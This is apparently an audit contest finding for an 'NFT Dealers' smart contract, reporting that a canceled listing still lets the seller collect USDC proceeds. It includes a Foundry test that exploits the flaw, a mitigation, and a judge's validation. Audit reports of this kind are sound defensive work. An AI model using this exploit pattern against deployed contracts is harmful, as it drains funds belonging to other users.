NFT Dealers

First Flight #58
Beginner FriendlyFoundry
100 EXP
View results
Submission Details
Severity: high
Valid

Settlement Can Be Claimed After Cancellation Without Any Sale (Invalid Listing State Transition)

Description:
cancelListing sets isActive = false. Later, collectUsdcFromSelling only checks !listing.isActive, so canceled listings pass the gate even though no sale occurred.

Impact:
Critical. A seller can claim synthetic sale proceeds from global contract USDC balance after cancellation, causing direct fund loss when liquidity exists.

Proof of Concept:

// SPDX-License-Identifier: UNLICENSED
pragma solidity 0.8.34;
import {Test} from "forge-std/Test.sol";
import {NFTDealers} from "../../src/NFTDealers.sol";
import {MockUSDC} from "../../src/MockUSDC.sol";
contract ValidateMissedFindingsTest is Test {
NFTDealers internal nftDealers;
MockUSDC internal usdc;
address internal owner = makeAddr("owner");
address internal alice = makeAddr("alice");
address internal bob = makeAddr("bob");
uint256 internal constant LOCK_AMOUNT = 20e6;
uint256 internal constant NFT_PRICE = 1000e6;
function setUp() public {
usdc = new MockUSDC();
nftDealers = new NFTDealers(owner, address(usdc), "NFTDealers", "NFTD", "ipfs://x", LOCK_AMOUNT);
vm.prank(owner);
nftDealers.revealCollection();
vm.prank(owner);
nftDealers.whitelistWallet(alice);
vm.prank(owner);
nftDealers.whitelistWallet(bob);
usdc.mint(alice, 5_000e6);
usdc.mint(bob, 5_000e6);
}
function testMissed_CanCollectAfterCancelIfContractHasFunds() public {
vm.startPrank(alice);
usdc.approve(address(nftDealers), LOCK_AMOUNT);
nftDealers.mintNft();
nftDealers.list(1, uint32(NFT_PRICE));
nftDealers.cancelListing(1);
vm.stopPrank();
usdc.mint(address(nftDealers), 5_000e6);
uint256 beforeBal = usdc.balanceOf(alice);
vm.prank(alice);
nftDealers.collectUsdcFromSelling(1);
uint256 afterBal = usdc.balanceOf(alice);
assertGt(afterBal, beforeBal, "seller can collect proceeds despite no sale");
}
}

Recommended Mitigation:
Use strict listing lifecycle states (Listed, Sold, Cancelled, Claimed) and allow settlement collection only from Sold state exactly once.

Updates

Lead Judging Commences

rubik0n Lead Judge about 1 month ago
Submission Judgement Published
Validated
Assigned finding tags:

free-mint-when-cancel

No flag when the listing is canceled.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!